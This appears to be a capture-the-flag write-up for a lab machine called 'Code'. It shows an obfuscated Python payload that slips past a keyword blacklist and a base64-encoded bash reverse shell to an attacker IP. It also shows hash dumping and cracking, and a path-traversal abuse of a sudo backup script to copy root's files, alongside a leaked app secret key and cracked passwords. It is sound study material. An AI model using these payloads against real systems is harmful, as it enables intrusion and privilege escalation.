
Code
Summary
A web application allows to input python code, which will execute on the server at return the code’s response. While the application has a blacklist of keywords in place to black any malicious command, we obfuscate the code to circumvent the blacklist, and spawn a reverse shell.
After obtaining the foothold, we access the application’s database to extract and crack a password hash, allowing us to pivot to another user on the system. This user is allowed to execute a backup script as the root
user, which enables us to trick the script’s logic to backup the content of the root
folder. Once we execute this attack, we can read the root flag and obtain this account’s SSH key.
Solution
Reconnaissance
An initial Nmap scan reveals two open ports.
nmap -sC -sV 10.10.11.62 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-24 11:42 CET
Nmap scan report for 10.10.11.62
Host is up (0.054s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
| 256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_ 256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open http Gunicorn 20.0.4
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Since we don’t have any credentials for the SSH port, examination of port 5000 is our only choice. According to the scan results, it serves an HTTP application, which we can visit in our browser.
The website on this port allows us to write Python code, execute it on the target, and read the system’s response. At first sight, this looks like a major vulnerability, since permitted code execution is an easy way to spawn a reverse shell. Upon trying different payloads for interacting with the server’s operating system, we quickly notice that there seems to be a filter in place. As soon as we enter certain keywords and send to code to the server, the execution will be blocked and instead return Use of restricted keywords is not allowed
.
User Flag
After trying out several keywords, we can derive a few to be on the blacklist, such as import, os, system, open
and more. This is tricky, since we would need those to spawn a reverse shell. The only module that is already in scope and could be used for system level operations is sys
, however it can not be directly used for spawning a shell. By continuing the search about this module, I found something interest. By using getattr()
in combination with sys
, we can call functions and modules by providing strings. Since Python allows us to combine strings, we can cut them up into sub strings, which will not be triggered by the keyword blacklist. Using this, we can create the following payload, which will not return the notice about restricted keywords.
print(getattr(sys.modules['o'+'s'], 'sys'+'tem')(''))
We just achieve remote code execution! The only thing left to do, is to find a reverse shell payload. For this, we can essentially use anything we link, however I prefer to use a basic base64 encoded Bash payload. Since this payload won’t include any special characters, it’s one less thing to worry about.
print(getattr(sys.modules['o'+'s'], 'sys'+'tem')('echo "c2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTYuNS80NDQ0IDA+JjE=" | base64 -d | bash'))
After setting up a Netcat listener, the executing payload will spawn a reverse shell as app-production
, enabling us to claim the user flag.
86715fe9dc5a81d7a6fcb623a4d7f38a
Root Flag
Due to our access to the user account managing the web application, it is always a good idea to check for any sensitive files in the corresponding directory. In app.py
, the main file of the Flask application, there is a reference to a database.
<cut>
app = Flask(__name__)
app.config['SECRET_KEY'] = "7j4D5htxLHUiffsjLXB1z9GaZ5"
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
db = SQLAlchemy(app)
<cut>
In order to make the interaction with the database easier, let’s upgrade our reverse shell to be interactive with Python.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Now we can use sqlite3
to open the database file.
app-production@code:~/app/instance$ sqlite3 database.db
sqlite3 database.db
sqlite> .tables
code user
sqlite> select * from code;
1|1|print("Functionality test")|Test
sqlite> select * from user;
1|development|759b74ce43947f5f4c91aeddc3e5bad3
2|martin|3de6f30c4a09c27fc71932bfc68474be
As we can see, the file contains two tables code
and user
. In the latter, we can find two usernames with another string, which looks very much like some sort of hash. Upon saving these to a file, we can use Hashcat to crack them.
hashcat --user user.txt -m 0 /usr/share/wordlists/rockyou.txt
759b74ce43947f5f4c91aeddc3e5bad3:development
3de6f30c4a09c27fc71932bfc68474be:nafeelswordsmaster
Over SSH, we can use the credentials martin:nafeelswordsmaster
to log into this account.
ssh martin@10.10.11.62
First, we should check for any sudo privileges.
sudo -l
Matching Defaults entries for martin on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User martin may run the following commands on localhost:
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh
As it turns out, this user is allowed to execute a script called backy.sh
as root
. Let’s execute it.
/usr/bin/backy.sh
Usage: /usr/bin/backy.sh <task.json>
This output tells us not much, besides that we need to provide a task.json
file. We can find an example in the backups
folder in the user’s home folder. Due to the name, it seems like this script can be used to create a backup for a specified folder. Maybe we can use this to make a backup of sensitive files, since we can execute this script as root
. To make sure, we can take a look at the script’s code.
#!/bin/bash
if [[ $# -ne 1 ]]; then
/usr/bin/echo "Usage: $0 <task.json>"
exit 1
fi
json_file="$1"
if [[ ! -f "$json_file" ]]; then
/usr/bin/echo "Error: File '$json_file' not found."
exit 1
fi
allowed_paths=("/var/" "/home/")
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
/usr/bin/echo "$updated_json" > "$json_file"
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
is_allowed_path() {
local path="$1"
for allowed_path in "${allowed_paths[@]}"; do
if [[ "$path" == $allowed_path* ]]; then
return 0
fi
done
return 1
}
for dir in $directories_to_archive; do
if ! is_allowed_path "$dir"; then
/usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
exit 1
fi
done
/usr/bin/backy "$json_file"
Analysis of this code reveals that there is a security measure in place, ensuring that we are only able to back up files in the /home
and /var
directories. However, the script only checks for the respective string in the specified path and does not evaluate it any further. This opens up the possibility to back up the /root
folder, if we specify its relative path from a permitted folder. To achieve this, we only need to make a copy of task.json
and adjust it.
{
"destination": "/home/martin/.oknf",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/../root"
],
"exclude": [
"dummy"
]
}
Now we can execute the script as sudo and provide our malicious task.json
.
sudo /usr/bin/backy.sh ./task.json
2025/03/24 13:51:12 🍀 backy 1.2
2025/03/24 13:51:12 đź“‹ Working with ./task.json ...
2025/03/24 13:51:12 đź’¤ Nothing to sync
2025/03/24 13:51:12 📤 Archiving: [/home/root]
2025/03/24 13:51:12 📥 To: /home/martin/.oknf ...
2025/03/24 13:51:12 📦
tar: Removing leading `/' from member names
tar: /home/root: Cannot stat: No such file or directory
tar: Exiting with failure status due to previous errors
2025/03/24 13:51:12 đź’˘ Archiving failed for: /home/root
2025/03/24 13:51:12 âť— Archiving completed with errors
Sadly, we get an error. It seems like the script now tries to resolve /home/../root
to /home/root
, which means this won’t work. However, we can just circumvent this by backup up the entire file system by starting a /home/..
and removing all unnecessary folders by referencing them in the exclude
entry.
{
"destination": "/home/martin/.oknf",
"multiprocessing": true,
"verbose_log": true,
"directories_to_archive": [
"/home/.."
],
"exclude": [
"*/bin/*",
"*/boot/*",
"*/dev/*",
"*/etc/*",
"*/lib*",
"*/lost*",
"*/media/*",
"*/mnt/*",
"*/opt/*",
"*/proc/*",
"*/run/*",
"*/sbin/*",
"*/srv/*",
"*/sys/*",
"*/tmp/*",
"*/usr/*",
"*/var/*"
]
}
sudo /usr/bin/backy.sh ./task.json
2025/03/24 13:57:30 🍀 backy 1.2
2025/03/24 13:57:30 đź“‹ Working with ./task.json ...
2025/03/24 13:57:30 đź’¤ Nothing to sync
2025/03/24 13:57:30 📤 Archiving: [/home/..]
2025/03/24 13:57:30 📥 To: /home/martin/.oknf ...
2025/03/24 13:57:30 📦
<cut>
The command was a success. After checking the target folder, we can find code_home_.._2025_March.tar.bz2
, a tar ball which contains all sensitives files, including those in the /root
directory. We only need to unpack it.
tar xfvj code_home_.._2025_March.tar.bz2
Once the tar ball was unpacked, we can read the root flag at ~/.oknf/root/root.txt
. We could also use the id_rsa
file in ~/.oknf/root/.ssh/
to log into the root
account, if we so desire.
fd82c5c1d8c4839fe2a0bfca3d07623a